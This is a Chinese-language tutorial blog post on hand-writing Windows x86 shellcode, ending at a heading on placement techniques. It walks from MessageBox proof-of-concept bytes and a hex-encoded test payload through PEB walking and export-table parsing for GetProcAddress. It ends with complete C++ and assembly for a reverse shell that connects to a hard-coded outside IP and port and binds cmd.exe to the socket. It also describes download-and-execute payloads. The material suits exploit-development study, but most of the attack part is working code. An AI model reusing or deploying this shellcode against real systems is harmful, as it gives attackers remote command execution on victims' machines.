Shellcode源代码存放处:Arsenal


摘要:

在C语言中,调用一个函数,编写者无需关心函数地址是如何获取的,所有的操作IDE在进行链接的时候帮助我们完成了。但是在shellcode中,这些操作都需要我们自己去完成,理解PE结构,理解函数表,这些都是shellcode编写最有魅力的一部分。

本文的逻辑首先是从C代码着手,学习如何使用汇编重现的基础,编写一个无移植性的shellcode作基础引导。在掌握了硬编码编写之后,通过掌握获取函数导出表,编写能够在所有Windows版本上运行的通用shellcode。

这篇文章时间跨度比较久远,起笔还是暑假在贵阳的时候,后来做了一段时间WEB安全,这篇文章便写了一小半就烂尾了。后来投入到Win/Browser下漏洞的怀抱中,需要在WIN7下做一些自定义shellcode,自己之前自定义的shellcode居然无法在WIN7下运行,于是想起这篇未完工的文章,借此对shellcode编写做一次总结与复习。

0x00 创建自己的SC实验室

当我们创建自己的shellcode实验室时候,我们必须清楚无论是自己编写的,亦或者是网络上获取的shellcode,我们都需要对其的行为有一个深刻的了解。

首先是安全性,要做的就是在一个相对安全的环境下进行测试(例如虚拟机),以保证不会被黑吃黑。

其次,这个测试方法要足够方便。不能将shellcode随意的扔到自己写的Exploit中进行测试,因为大多数Exploit对shellcode的格式要求是非常严格的,尤其是栈溢出方面的漏洞。初期编写的shellcode可能包含大量Null字节,容易被strcpy截断。

下面是我们的shellcode调试环境,如果是WIN7以后的版本需要将DEP选项关闭。

Shellcode-lab

调试一段shellcode
环境:windows xp sp0
编译器:VC++6.0

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 char shellcode[]="\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x6e\x6f\x74\x65\x70\x61\x64\x2e\x65\x78\x65"
"\x00";


int main(int argc,char **argv)
{
/*方法一 VC++6.0 error报错*/
/*
int(*func)(); //创建一个函数指针func
func=(int (*)())shellcode; //将shellcode的地址赋值给func
(int)(*func)();//调用func
*/
/*方法二 asm*/
__asm
{
lea eax,shellcode//将shellcode地址赋值给eax
push eax//将eax入栈
ret//跳转到eax地址
}
//PS:第二种方法只有关闭NX/DEP才行(XP下就没有这个问题)
}

0x01从C到shellcode

shellcode大多是包含很多恶意行为的代码,就如它名字由来的那样 “获取shell的代码”。

但是在漏洞大多数复现中,我们需要做的仅仅是证明自己能够利用,所以我们编写的shellcode需要满足无害性和可见性。例如弹出一个计算器,或者如下面的C代码一样,让Exploit弹出一个极具个人风格的MessageBox也是一个不错的选择。

C实现非常简单,只需要调用MessageBox函数,写入参数。

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#include<windows.h>
int main(int argc,char** argv)
{
​ MessageBox(NULL,"You are hacked by Migraine!","Pwned",MB_OK);
}

kdozix

放入IDA,查找到Main函数的位置。
可以查看反汇编,四个参数分别PUSH入栈,然后调用MessageBoxA
MSDN对MessageBox的描述

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int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaptioUINT uType );

R7V0oY

在OD中下断点调试,得到同样的结果。

jhImHF

基于调试可知,MessageBoxA从USER32.DLL加载到内存的地址为0x77D3ADD7

当然这个地址是非常不稳定的,受到操作系统版本还有很多因素(例如ASLR)的影响

不过为了简便shellcode,目前将这部分先放一放。

GLLSUr

在我们编写的另一个程序中(见下文),发现这个函数依旧被映射到了同一个位置

因为XP没有开启ASLR的缘故,DLL加载的基地址不会变化

值得注意的是该程序需要调用USER32.DLL,否则需要手动LoadLibrary

OqiMZz

但是现在这段C生成的代码,直接提取字节码是行不通的。

函数的参数被放在了该程序的Rodata段中调用,与地址无关的段。

而我们要求shellcode能在任何环境下运行,需要保证参数可控,即需要将参数入栈,然后再调用。

接下来用汇编重写一遍(C嵌入asm)

通过自己将数据入栈,然后调用MessageBoxA

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#include<windows.h>
void main()
{
LoadLibrary("user32.dll");//Load DLL
__asm
{
push 0x00656e;ne
push 0x69617267;grai
push 0x694d2079;y Mi
push 0x62206565;ed b
push 0x6b636168;hack
push 0x20657261;Are
push 0x20756F59;You
mov ebx,esp
push 0x0
push 0x656e6961;aine
push 0x7267694d;Migr
mov ecx,esp

//int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );
xor eax,eax
push eax//uTyoe->0
push ecx//lpCaption->Migraine
push ebx//lpText->You are hacked by Migraine
push eax//hWnd->0
mov esi,0x77D3ADD7//User32.dll->MessageBoxA
call esi

}
}

W7lLeZ

将ASM提取字节码

再OD中查看这一段ASM

v052H7

使用UltraEditor查看16进制字节码,然后找到我们的ASM,复制便成功提取了我们的shellcode

3AScfE

zjuonw

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68 6E 65 00 00 68 67 72 61 69 68 79 20 4D 69 68
65 65 20 62 68 68 61 63 6B 68 61 72 65 20 68 59
6F 75 20 8B DC 6A 00 68 61 69 6E 65 68 4D 69 67
72 8B CC 33 C0 50 51 53 50 BE D7 AD D3 77 FF D6
5F 5E 5B 83 C4 40 3B EC E8 97 3B FF FF

调整一下格式,便获取到了shellcode

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char shellcode[]="\x68\x6E\x65\x00\x00\x68\x67\x72\x61\x69\x68\x79\x20\x4D\x69\x68"
"\x65\x65\x20\x62\x68\x68\x61\x63\x6B\x68\x61\x72\x65\x20\x68\x59"
"\x6F\x75\x20\x8B\xDC\x6A\x00\x68\x61\x69\x6E\x65\x68\x4D\x69\x67"
"\x72\x8B\xCC\x33\xC0\x50\x51\x53\x50\xBE\xD7\xAD\xD3\x77\xFF\xD6"
"\x5F\x5E\x5B\x83\xC4\x40\x3B\xEC\xE8\x97\x3B\xFF\xFF";

放入上文搭建的shellcode调试环境,添加LoadLibrary(“user32.dll”);以及头文件#include<windows.h>

在WInodws xp下运行效果理想

0jAVZ5

优化shellcode

去除null字节

这里使用xor配合sub就能够完全去除null,还有一些其他方法,使用16位寄存器避免null字节,在《exploit编写教程》上面都有详细的介绍,就不再重复造轮子了。

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__asm
​ {
/*使用sub来替换/x00*/
​ mov eax,0x1111767f
​ sub eax,0x11111111
​ push eax
​ //push 0x0000656e;ne
​ push 0x69617267;grai
​ push 0x694d2079;y Mi
​ push 0x62206565;ed b
​ push 0x6b636168;hack
​ push 0x20657261;Are
​ push 0x20756F59;You
​ mov ebx,esp
/*使用xor来替换/x00*/
​ xor eax,eax
​ push eax
​ //push 0x0
​ push 0x656e6961;aine
​ push 0x7267694d;Migr
​ mov ecx,esp
​ //int MessageBox( HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption,UINT uType );
​ xor eax,eax
​ push eax//uTyoe->0
​ push ecx//lpCaption->Migraine
​ push ebx//lpText->You are hacked by Migraine
​ push eax//hWnd->0
​ mov esi,0x77D3ADD7//User32.dll->MessageBoxA
​ call esi
​ }

此时生成的shellcode就不存在\x00了

N6lGlJ

0x02编写更稳定Shellcode

如何提高shellcode 的可移植性一直是一个需要我们在一的问题。

前文我们编写的MessageBoxA的地址是硬编码的,导致这段shellcode只能利用于windows xp sp0。

但是Windows并不支持像Linux那样的int 0x80中断呼叫函数的操作,于是唯一的方法就是通过PE文件中的函数导出表获取函数此刻的地址,这个方法在提高可移植性的同时,还可以一劳永逸地解决ASLR带来的地址偏移问题。

ktXsS1

1. 动态定位kernel32.dll

不同版本的操作系统,kernel32.dll的基地址也是不同的。Windows没有linux那样方便的中断机制来调用系统函数,所以只能通过基址+偏移地址来确定函数的位置。

通过PEB获得基址

我们可以通过Windbg解析PEB(WindowsXP符号表已经不再支持自动下载)

所以手动下载安装WindowsXP-KB936929-SP3-x86-symbols-full-ENU.exe

但是碰到一些问题,所以在Windows10下用Windbg(x86)进行PEB分析

使用windbg加载任意一个x86程序,会出现break,等待到出现int 3即可进行操作

TnAE8V

!peb可以自动分析,可以查询到KERNEL32.DLL的地址。

I3bTIL

PEB是进程环境块,由TEB线程环境块偏移0x30字节。我们这里需要直到查找地址的原理。

大概流程是通过FS段选择器找到TEB,通过TEB找到PEB,然后获取kernel和ntdll的地址。

接下来我们在windbg中,来手工实现PEB结构分析,之后会使用汇编完成Kernel基址的读取。

查看PEB结构

TzfXlj

直接查看LDR结构

6gSd84

偏移0xc,选择InLoadOrderModuleList

查看这个_LIST_ENTRY结构

Fyc2OR

_LIST_ENTRY 是一个存放双向链表的数据结构(包含于_LDR_DATA_TABLE_ENTRY)

_LDR_DATA_TABLE_ENTRY是存放载入模块信息的结构,并且是由_LIST_ENTRY这个双向链表串联起来。

由三种串联方式,区别仅在于排列顺序(上文我们偏移0x14选择InMemoryOrderModuleList )

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+0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x51c00 - 0x78f6b88 ]
+0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x51c08 - 0x78f6b90 ]
+0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x51c90 - 0x78f6b98 ]

第一个_List_ENTRY指向的地址是0x51c08(因为InMemoryOrderModuleList的指针指向的是下一个结构的InMemoryOrderModuleList,而不是_LDR_DATA_TABLE_ENTRY的结构头,需要偏移0x8)

CdGivy

查看对应的_LDR_DATA_TABLE_ENTRY结构,得知这是iexplore.exe(调试的宿主程序)的基地址为0x01120000(DLLBase)

接下来顺着LIST_ENTRY,往下寻找结点。发现kernel在第三个结点。

qvqZ5F

查看这个地址的_LDR_DATA_TABLE_ENTRY结构

通过这两次观察,可以发现,实际上这个结构体的第一个结构就是_List_ENTRY,负责将这些_LDR_DATA_TABLE_ENTRY结构串联成链表。

偏移0x18可以得出DllBase为0x77e10000

xBeUX8

成功获取Kernel的基地址。

用接下来用汇编实现kernel地址的读取

原理是在InMemoryOrderModuleList结构中,kernel位置固定为第三个。

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global CMAIN
CMAIN:
mov ebp, esp; for correct debugging
xor ebx,ebx

mov ebx,[fs:0x30] ;TEB+0x30->PEB
mov ebx,[ebx+0xc] ;PEB+0xc->LDR
mov ebx,[ebx+0x14] ;LDR+0x14->InMemoryOrderModuleList-->_LIST_ENTRY第一个节点->??.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第二个节点->ntdll.dll
mov ebx,[ebx] ;-->_LIST_ENTRY第三个节点->Kernel.dll
mov ebx,[ebx+0x10]; DllBase偏移0x18减去指向偏移0x8;下文会详细分析
xor eax, eax
ret

使用SASM调试,在结尾下断点,发现ebx已经成功赋值为了kernel的地址,与windbg显示的一致。(此处的汇编代码是之前在另一台机器上做的实验,所以kernel地址不同,希望不要引起争议)

使用命令!peb

bUoAod
JtIreD

如果需要在VS下编译,也可采用内联汇编实现。

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int _tmain(int argc, _TCHAR* argv[])
{
​ int kernel32=0;
​ _asm{
​ xor ebx,ebx
​ mov ebx,fs:[0x30]
​ mov ebx,[ebx+0xc]
​ mov ebx,[ebx+0x14]
​ mov ebx,[ebx];ntdll
​ mov ebx,[ebx];kernel
​ mov ebx,[ebx+0x10];DllBase
​ mov kernel32,ebx
​ }
​ printf("kernel32=0x%x",kernel32);
​ getchar();
​ return 0;
}

上述代码中(SASM),比较需要注意的第15行为ebx+0x10而不是0x18(_LDR_DATA_TABLE_ENTRY结构中标准的DllBase偏移)

主要原因是InMemoryOrderLinks的指针指向的是下一个_LDR_DATA_TABLE_ENTRY的InMemoryOrderLinks(结构偏移0x08),所以需要该地址减去-0x8才是正确的文件头(图中案例0x954dd0-0x8)

所以当ebx存放InMemoryOrderLinks的指针时,要获取DllBase需要偏移0x18-0x8=0x10

a4L3zO

至此我们已经获取到了kernel32.dll的基地址,获取这个地址的方法还有很多方法,使用SEH、TEB都可以间接获取Kerne32的地址,如果有需要可以参考《Exploit编写系列教程》。还有需要注意的是不同系统下,某些获取方法可能会失效,这次实验的测试环境(Win7)下的寻址就和之前的系统有一些不同,所以可能不会向前兼容,不过通过windbg对单个系统进行符号调试,是很容易发现区别的并且修改方案。

2. 获取函数地址

在理解这部分之前,我们首先需要对PE格式有一定的了解。就从我们刚才获取了基地址的Kernel32作为基础,一步步看如何获取系统API函数的地址。

首先从DOS头开始,Windbg能够使用符号表来对地址进行解析。

解析_IMAGE_DOS_HEADER结构,我们只需要了解e_lfanew字段,指向PE头,该字段在在DOS头偏移0x3c的位置。

1Vdzco

之前的kernel基址加上e_lfanew字段的偏移(0n开头表示十进制)是指向PE头的指针。

njv0Y3

获取了PE头指针,我们即可以使用windbg解析PE头的_IMAGE_NT_HEADERS结构

_IMAGE_FILE_HEADER 是一个结构体,包含代码数目、机器类型以及特征等信息。

而我们这里需要使用的结构体是_IMAGE_OPTIONAL_HEADER

dnU8eH

继续利用windbg分析,经过两次分析,现在的读者应该也已经轻车熟路了。

分析_IMAGE_OPTIONAL_HEADER,其包含以下几个信息。

很显然,偏移0x60的DataDirectory段就是函数导出表的偏移。

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AddressOfEntryPoint:exe/dll 开始执行代码的地址,即入口点地址。 
ImageBase:DLL加载到内存中的地址,即映像基址。
DataDirectory-导入或导出函数等信息。

Mk4JaM

继续解析这个结构,终于获取到了这个结构到VA。

因为我们之前的解析都没有用到指针,所以可以一起算VA偏移PE头一共0x78字节(240是PE偏移DOS,是动态获取)

Ue3EBS

获取到DATA DIRECTORY结构到VirtualAddress地址

我们关心的主要有三个数组结构

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AddressOfFunctions:指向一个DWORD类型的数组,每个数组元素指向一个函数地址。 
AddressOfNames:指向一个DWORD类型的数组,每个数组元素指向一个函数名称的字符串。
AddressOfNameOrdinals:指向一个WORD类型的数组,每个数组元素表示相应函数的排列序号

NUqxOQ

AddressOfNames的结构是一个数组指针,每个机器位(4字节)都指向一个函数名的字符串。

所以我们可以通过遍历这个数组,结合字符串匹配获取到该函数的序号。

0W4Tfc

AddressOfNameOrdinals存放这对应函数的索引值,在获取了函数的序号之后,按照序号查找函数索引值。

需要注意的是每个索引值占2字节。

例如第三个函数ActivateActCtx函数的索引值为4

AddressOfFunctions则根据索引排序,存放着函数的地址。

地址加上0x10[索引4字节*指针4字节]存放ActivateActCtx函数的偏移地址。

G0gio9

我们使用汇编来实现这一过程,接着上面的汇编代码,此时的EBX存放Kernel32的地址。

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;从Kernel32的PE头,获取DATA DIRECTORY的地址
;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset
add edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORY
add edx,ebx ;EDX=DATA DIRECTORY
;将字符串与AddressOfNames 数组匹配,获得函数的序号
;compare string
xor ecx,ecx
mov esi,[edx+0x20]
add esi,ebx

Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4
add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func
;通过序号在AddressOfNameOrdinals中获取索引
;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinals
add esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
;通过索引在AddressOfFunctions中获取函数地址,存放于EDX
mov esi,[edx+0x1c];AddressOfFunctions
add esi,ebx
mov edx,[esi+ecx*4]
add edx,ebx ;EDX = GetProcAddress

此时我们已经获取了GetProcAddress函数的地址,所有关于PE文件的内容到这里也就结束了,之后我们就可以想C语言一样非常容易地调用一个函数。我们已经度过了编写shellcode最黑暗的过程,接下来迎接着我们的将是一条康庄大道。

通过GetProcAddress,我们首先可以使用获取LoadLibrary函数的地址,该函数可以用来加载user32模块,同时获取其基地址。这部分就比较简单了,直接贴代码。

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;Get LoadLibrary
xor ecx,ecx
push ebx ;Kernel32 入栈备份
push edx ;GerProcAddress 入栈备份
push ecx ;0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp;"LoadLibraryA"
push ebx ;
call edx ;GerProcAddress(Kernel32,"LoadLibraryA")

add esp,0xc ;pop "LoadLibraryA"
pop ecx; ECX=0
push eax ;EAX=LoadLibraryA
push ecx
mov cx, 0x6c6c ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp ; "user32.dll"
call eax ; LoadLibrary("user32.dll")

到这里,有一定汇编和WIN32基础的读者已经可以编写shellcode逻辑了,思路即通过GetPrcAddress函数获取需要的函数地址,能结合完成各项功能,剩下的部分就需要读者发挥自己天才的想象力了。

文末会提供一个完整编写的shellcode作为案例。

0x03三种经典的shellcode形式

Shellcode在功能性上的实现,主要分为以下三大类
分别是下载恶意文件执行、程序本身捆绑文件还有直接反弹shell获得控制权
在内核层面则还有提权等操作,这里只对应用层shellcode功能实现做一个归类。

(1)下载执行
调用URLDownloadToFile函数下载恶意文件到本地,并且使用Winexec执行
函数原型

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HRESULT URLDownloadToFile( 
LPUNKNOWN pCaller,
LPCTSTR szURL,
LPCTSTR szFileName,
_Reserved_ DWORD dwReserved,
LPBINDSTATUSCALLBACK lpfnCB
);

(2)捆绑

通过GetFileSize获取文件句柄,获取释放路径(GetTempPathA),设置好文件指针(SetFilePoint),使用VirtualAlloc在内存中申请一块内存,再将数据读取(ReadFile)写入到本地文件(CreateFIle WriteFile),最后在对该文件执行。

(3)反弹shell

反弹shell属于无文件攻击,使用socket远程获得对方的cmd.exe。优点是不容易留下日志,适合渗透测试中使用,缺点也很明显,维持连接的稳定性较差。

在Windows下实现反弹shell,比Linux多了一个步骤,启动或者初始化winsock库,之后创建cmd.exe进程然后TCP连接端口/打开监听方法都是相近的。

需要注意的使用C编程可以使用Socket结合双管道进行通信,但是用汇编管道编写比较麻烦。不建议使用管道来进行通信。解决方案是使用WSASocket代替Socket,这个函数支持IO重叠。

函数原型

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SOCKET WSASocket (
  int af,
  int type,
  int protocol,
  LPWSAPROTOCOL_INFO lpProtocolInfo,
  GROUP g,
  DWORD dwFlags
  );

这里我们主要针对第三种功能,实现一个无管道的反弹shell代码。
因为篇幅较长,这里使用C++实现,接下来只需要用汇编调用函数实现即可。
本部分参考博客:https://blog.csdn.net/PeterZ1997/article/details/79448916

实现环境

WIN7 SP1
VS2010

首先实现一个TCP连接,使用nc做连接测试。

WSASocket的使用与Socket基本一致,多出来的参数设置为NULL即可。

包含头文件WinSock2.h和winsock.h

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//初始化WSA套接字
WSADATA wsd;
WSAStartup(0x0202,&wsd);
SOCKET socket=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);
SOCKADDR_IN sin;
sin.sin_addr.S_un.S_addr=inet_addr(REMOTE_ADDR);
sin.sin_port=htons(REMOTE_PORT);
sin.sin_family=AF_INET;
//连接远程的服务端,发送验证代码
connect(socket,(sockaddr*)&sin,sizeof(sin));
send(socket,"[+]Hello!\n",strlen("[+]Hello!\n"),0);

接下来将使用CreateProcess为cmd.exe创建子进程,然后将标准输入、标准输出、标准错误输出都绑定到socket上。(这部分在Linux下实现比起Windows就简单多了,可以直接重定向)
//创建cmd进程
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetStartupInfo(&si);
si.cb=sizeof(STARTUPINFO);
si.hStdInput=si.si.hStdOutput=si.hStdError=(HANDLE)socket; //将标准输入输出绑定到Socket
si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
TCHAR cmdline[255]=L"cmd.exe";
while(!CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)){ //创建进程,第五个参数TRUE子进程继承父进程的所有句柄
Sleep(1000);
}
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);

在汇编编写中,可以讲首先计算出关键函数和DLL的基地址并且放入栈帧,方便随时调用。

socket类的函数(WSAStartup、connect)如果执行成功EAX会返回0,如果失败会返回-1(0xFFFFFFFF)

以上程序实现函数的来源

Kernel32.dll

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CreateProcessA
GetStartupInfoA
LoadLibraryA

ws2_32.dll

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WSAStartup
WSASocketA
connect

使用汇编编写

初始化部分(代码量较大)

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nop
nop
nop
;get the address of kernel32.dll
xor ecx,ecx
mov eax,fs:[0x30];EAX=PEB
mov eax,[eax+0xc];EAX=PEB->LDR
mov esi,[eax+0x14];ESI=PEB->Ldr.lnMemOrder
lodsd ;mov eax,[esi];esi+=4;EAX=SecondMod->ntdll
xchg eax,esi
lodsd ;EAX=ThirdMod->kernel
mov ebx,[eax+0x10] ;EBX=kernel->DllBase

;Get address of GetProcessAddress
mov edx,[ebx+0x3c] ;DOS HEADER->PE HEADER offset
add edx,ebx ;PE HEADER
mov edx,[edx+0x78] ;EDX=DATA DIRECTORY
add edx,ebx ;EDX=DATA DIRECTORY

;compare string
xor ecx,ecx
mov esi,[edx+0x20]
add esi,ebx

Get_Func:
inc ecx
lodsd ;mov eax,esi;esi+=4
add eax,ebx;
cmp dword ptr[eax],0x50746547 ;GetP
jnz Get_Func
cmp dword ptr[eax+0x4],0x41636f72;proA
jnz Get_Func
cmp dword ptr[eax+0x8],0x65726464 ;ddre
jnz Get_Func

;get address
mov esi,[edx+0x24] ;AddressOfNameOrdinals
add esi,ebx
mov cx,[esi+ecx*2];num
dec ecx
mov esi,[edx+0x1c];AddressOfFunctions
add esi,ebx
mov edx,[esi+ecx*4]
add edx,ebx ;EDX = GetProcessAddress

;EDX=GetProcAddr
;EBX=kernel32

;get CreateProcess address
xor ecx,ecx
push ebx ;Kernel32
push edx;GetProcAddr
mov cx,0x4173;sA
push ecx ;sA
push 0x7365636F;oces
push 0x72506574;tePr
push 0x61657243;Crea
push esp ;"CreateProcessA"
push ebx
call edx;GetProcAddr("CreateProcessA")

add esp,0x10 ;clean stack
push eax ;CreateProcessA

;CreateProcessA <--esp
;GetProcAddr <-- esp+4
;Kernel32 <--esp+8

//mov ebx,[esp+8];Kernel32
mov edx,[esp+4];GetProAddr

;get GetStartupInfo address
mov ecx,0x416F66
push ecx;foA
push 0x6E497075;upIn
push 0x74726174;tart
push 0x53746547;GetS
push esp
push ebx ;Kernel32
call edx ;GetProAddresss("GetStartupInfoA")


add esp,0x10;clean stack
push eax ;GetStartupInfoA
mov edx,[esp+8];GetProAddr
;Get LoadLibrary
xor ecx,ecx
push ecx ;0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp;"LoadLibraryA"
push ebx ;
call edx ;GerProcAddress("LoadLibraryA")



add esp,0xc ;pop "LoadLibraryA"
pop ecx; ECX=0
push eax ;EAX=LoadLibraryA
mov cx,0x3233 ; 32
push ecx;
push 0x5F327377 ; ws2_
push esp ; "ws2_32"
call eax ; LoadLibrary("ws2_32.dll")


;MessageBoxA address
add esp,0x8 ;pop "ws2_32.dll"
push eax
;ws2_32.dll <--esp
;LoadLibraryA <--esp+4
;GetStartupInfoA <--esp+8
;CreateProcessA <--esp+0c
;GetProcAddr <-- esp+0x10
;Kernel32 <--esp+0x14



mov edx,[esp+0x10] ;GetProcAddress
xor ecx,ecx
mov cx,0x7075;up
push ecx
push 0x74726174;tart
push 0x53415357 ;WSAS
push esp ;"WSAStartup"
push [esp+0x10];ws2_32.dll
call edx;GetProcAddress("WSAStartup")

add esp,0xc
push eax;WSAStartup

mov edx,[esp+0x14] ;GetProcAddress
mov ebx,[esp+4];ws2_32.dll
xor ecx,ecx
mov cx,0x4174;
push ecx ;tA
push 0x656B636F ;ocke
push 0x53415357 ;WSAS
push esp ;"WSASocket"
push ebx;ws2_32.dll
call edx;GetProcAddress("WSASocket")

add esp,0xc
push eax;WSASocket

mov edx,[esp+0x18] ;GetProcAddress
mov ebx,[esp+8];ws2_32.dll
xor ecx,ecx
push 0x746365 ;ect
push 0x6E6E6F63 ;conn
push esp ;"connect"
push ebx;ws2_32.dll
call edx;GetProcAddress("connect")

;inet_addr
add esp,0x8
push eax;connect
mov edx,[esp+0x1c] ;GetProcAddress
mov ebx,[esp+0xc];ws2_32.dll
xor ecx,ecx
mov cx,0x72;
push ecx;r
push 0x6464615F;_add
push 0x74656E69;inet
push esp ;"inet_addr"
push ebx;ws2_32.dll
call edx;GetProcAddress("inet_addr")

;htons
add esp,0xc
push eax;
mov edx,[esp+0x20] ;GetProcAddress
mov ebx,[esp+0x10];ws2_32.dll
xor ecx,ecx
mov cx,0x73
push ecx;s
push 0x6E6F7468;hton
push esp ;"htons"
push ebx;ws2_32.dll
call edx;GetProcAddress("htons")

add esp,0x8
push eax

;htons <--esp
;inet_addr <--esp+4
;connect <--esp+8
;WSASocket <--esp+0xc
;WSAStartup <--esp+0x10
;ws2_32.dll <--esp+0x14
;LoadLibraryA <--esp+0x18
;GetStartupInfoA <--esp+1c
;CreateProcessA <--esp+0x20
;GetProcAddr <-- esp+0x24
;Kernel32 <--esp+0x28

编写Socket部分
到这里,我们的程序已经能和服务器建立TCP连接了
/*Socket部分*/
//WSTartup(0x202,&WSADATA,)
sub esp,0x20
mov eax,[esp+0x30]
push esp;lpWSADATA
push 0x202;wVersionRequested
call eax //if eax->0 sucess.else fail


//WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0)
mov eax,[esp+0x2c];WSASocket
xor ecx,ecx
push ecx
push ecx
push ecx
mov cx,0x6
push ecx
mov cx,0x1
push ecx
inc ecx
push ecx
call eax

push eax; //push socket


//inet_addr(120.79.174.75)
mov eax,[esp+0x28] ;inet_addr
xor ecx,ecx
mov cx,0x35
push ecx;5
push 0x372E3437;74.7
push 0x312E3937;79.1
push 0x2E303231;120.
push esp;
call eax;

add esp,0x10
push eax;push Remote_addr -->sa_data+2

//htons(6666)
mov eax,[esp+0x28] ;htons
push 0x1A0A ;6666
call eax

mov edx,[esp+0x30];connect
//Store sock_addr
push ax;push Remote_ports -->sa_data
mov ax,0x2
push ax;push AF_INET -->sa_family

mov ebx,esp; store sock_addr

//Connect(socket,&sock_addr,sizeof(sock_addr));
/*
00000000 sockaddr struc ; (sizeof=0x10, align=0x2, copyof_12)
00000000 ; XREF: _wmain_0/r
00000000 sa_family --> AF_INET(2) ; XREF: _wmain_0+80/w
00000002 sa_data --> htons(REMOTE_PROT) ; XREF: _wmain_0+75/w
00000004 sa_data+2 --> inet_addr(REMOTE_ADDR) ; _wmain_0+9B/w
00000010 sockaddr ends
*/

push 0x10 ; sizeof(sock_addr)
push ebx ;scok_addr
push [esp+0x10];socket

call edx ;connect ; server#nc -l 6666 (close fire wall)


在本地创建cmd.exe子进程
注意这两个语句也需要实现,否则只能在本地打开一个shell
#define STARTF_USESTDHANDLES 0x00000100
即使用父进程的句柄(我们的Socket也是一个句柄)而不是全新的句柄。
//si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
//si.wShowWindow=SW_HIDE;

/*创建cmd.exe子进程*/

/*
00000000 _STARTUPINFOW struc ; (sizeof=0x44, align=0x4, copyof_14)
00000000 ; XREF: _wmain_0/r
00000000 cb ->size 44 ; XREF: _wmain_0+134/w
00000004 lpReserved dd ? ; offset
00000008 lpDesktop dd ? ; offset
0000000C lpTitle dd ? ; offset
00000010 dwX dd ?
00000014 dwY dd ?
00000018 dwXSize dd ?
0000001C dwYSize dd ?
00000020 dwXCountChars dd ?
00000024 dwYCountChars dd ?
00000028 dwFillAttribute dd ?
0000002C dwFlags <--0x100
00000030 wShowWindow dw
00000032 cbReserved2 dw ?
00000034 lpReserved2 dd ? ; offset
00000038 hStdInput ->socket ; XREF: _wmain_0+159/w ; offset
0000003C hStdOutput ->socket ; XREF: _wmain_0+14D/w
00000040 hStdError ->socket ; XREF: _wmain_0+141/w
00000040 ; _wmain_0+147/r ; offset
00000044 _STARTUPINFOW ends
00000044
*/
//init _STARTUPINFO

mov esi,[esp+0x8]
push esi; push hStdError
push esi; push hStdOutput
push esi; push StdInput
xor esi,esi
xor ecx,ecx
push esi;
push esi;
push 0x100; dwFlags
mov cx,0xa

PUSH_NULL:
push esi
loop PUSH_NULL

mov ecx,0x44 ;cb
push ecx
mov edx,esp ;_STARTUPINFO

mov ebx,[esp+0x90];CreateProcess

push 0x657865;exe
push 0x2E646D63;cmd.
mov esi,esp ;"cmd.exe"
//CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)

push edx;&pi
push edx ;&si
xor ecx,ecx
push ecx;NULL
push ecx;NULL
push ecx;NULL
inc ecx
push ecx;TRUE
sub ecx,0x1
push ecx;NULL
push ecx;NULL
push esi;cmdline
push ecx;NULL
call ebx;CreateProcess

push eax

在执行call之后,你的服务器会得到一个windows的反弹shell。生成Unicode码之后,继续用可怜的IE8来做实验。github项目地址

VdCmbR

0x04 shellcode布置技术

我们知道在栈溢出中,可以将shellcode布置在栈空间的不同位置,同样在实际漏洞利用中,尤其在栈溢出已经落寞的今天,堆利用中,布置shellcode方法更是层出不穷,笔者也无法将所有的方案汇总全面,就仅对目前常见的几种布置技术做个总结。

Jmp esp /ROP

